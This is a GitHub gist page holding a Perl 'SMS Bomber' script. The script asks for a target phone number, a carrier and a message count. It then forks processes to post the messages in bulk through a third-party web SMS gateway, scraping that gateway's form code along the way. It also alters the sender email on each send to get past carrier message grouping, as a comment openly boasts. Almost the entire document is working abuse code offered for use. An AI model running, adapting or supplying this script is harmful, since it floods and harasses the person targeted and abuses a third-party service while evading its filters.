Skip to content

Instantly share code, notes, and snippets.

@dreadpiratesr

dreadpiratesr/Perl SMS Bomber

Created November 5, 2015 18:52
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save dreadpiratesr/674db805e94617c409b7 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save dreadpiratesr/674db805e94617c409b7 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. dreadpiratesr created this gist Nov 5, 2015.
    123 changes: 123 additions & 0 deletions Perl SMS Bomber
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,123 @@
    #!/usr/bin/perl

    use LWP::UserAgent;
    use LWP::Simple;
    use strict;
    use warnings;
    use threads;
    use threads::shared;
    use Config;
    use HTML::TreeBuilder;
    use HTML::Element;



    $Config{useithreads} or die('Recompile Perl with threads to run this program.'); #thread(enabled) check


    print"**********************************************************\n";
    print"*********************** SMSBomber v2.4 *******************\n";
    print"************************By: juicyjuice********************\n";
    print"**********************************************************\n";

    ##getting inputs, need to get rid of whitespace and or \n character with chomp();
    print"Enter the number you want to bomb: \n";
    chomp(my $phoneNum = <STDIN>);

    print "Enter your carrier (AT&T=41|Verizon=203|Sprint=176): \n";
    chomp(my $carrier = <STDIN>);

    print "How many messages?: \n";
    chomp(my $amountOfMessages = <STDIN>);

    print "Enter your email: \n";
    chomp(my $from = <STDIN>);

    print "Enter your subject: \n";
    chomp(my $subject = <STDIN>);

    print "Enter your SMS MSG: \n";
    chomp(my $message = <STDIN>);

    print "**********************************************************\n";
    print "**BOMBING\n";
    my $numOfBombsSent :shared = 0;
    my $inc :shared = 0;
    $inc = 10000; #incrementing variable used for carriers that sort messages by email instead of phone #
    &main;

    sub main{
    while($numOfBombsSent<$amountOfMessages){
    &checkAndBypassEmailFilter;
    if(($amountOfMessages-$numOfBombsSent)==1){
    &checkAndBypassEmailFilter;
    &bomb;
    } else {
    my $pid = fork(); #fork splits process into two
    if($pid){ #immediately have to handle both ($pid,0) <-child and ($pid) <- parent **parent
    if($numOfBombsSent<$amountOfMessages){
    &checkAndBypassEmailFilter; #has to make sure that child is done executing before it finishes. or else child will
    &bomb; #parent #become a zombie
    }
    waitpid($pid, 0);
    } elsif($pid == 0){
    if($numOfBombsSent<$amountOfMessages){
    &checkAndBypassEmailFilter;
    &bomb; #child
    }
    } else {
    die "Fork failed";
    }
    }
    }
    }

    sub checkAndBypassEmailFilter{
    if($carrier==203 or $carrier==176){ #this is for some carriers that organize based on the email function (thus not getting the full bomb effect)
    #so this increments their email by one each time to start a new convo :D gotcha bitch
    my @email = split('@', $from);
    lock($inc); #locks $inc variable so nothing else can modify it until it's done with it.
    $from = $email[0].$inc++.'@'.$email[1];
    }
    }
    sub postUrl {
    my $content =
    my($url, $formref) = @_;
    my $ua = new LWP::UserAgent(timeout => 300); # set up a UserAgent object to handle request
    $ua->agent('perlproc/1.0');
    my $response = $ua->post($url, $formref); #no need to handle the response from server.
    if($response->is_success){
    return $response->content;
    } else {
    return "POST failure";
    }
    }
    sub Return_Code { #From Saustin's SMS bomber
    my $content = $_[0];
    my $tree = HTML::TreeBuilder->new;
    $tree->parse($content);
    $tree->elementify();

    my @elements = $tree->find("INPUT"); #because they haven't heard of lowercase
    foreach(@elements)
    {
    my $ele = $_;
    if($ele->attr('NAME') eq "code")
    {
    return $ele->attr('value');
    }
    }
    }

    sub bomb{
    my $url = "http://www.onlinetextmessage.com/send.php";
    my $indexUrl = "http://www.onlinetextmessage.com/";
    my $lwp = get $indexUrl;
    my $code = Return_Code($lwp);
    #print "Code: $code\n";
    my %param = ('carrier' => $carrier, 'code' => $code, 'from' => $from, 'message' => $message, 'number' => $phoneNum,'quicktext' => '','remember' => 'y', 's' => 'Send Message','subject' => $subject);
    &postUrl($url,\%param);
    lock($numOfBombsSent); #locks $numOfBombsSent variable so nothing else can modify it until it's done with it.
    $numOfBombsSent++;
    print "Bomb Status: [",($numOfBombsSent),"/",($amountOfMessages),"]\n";
    }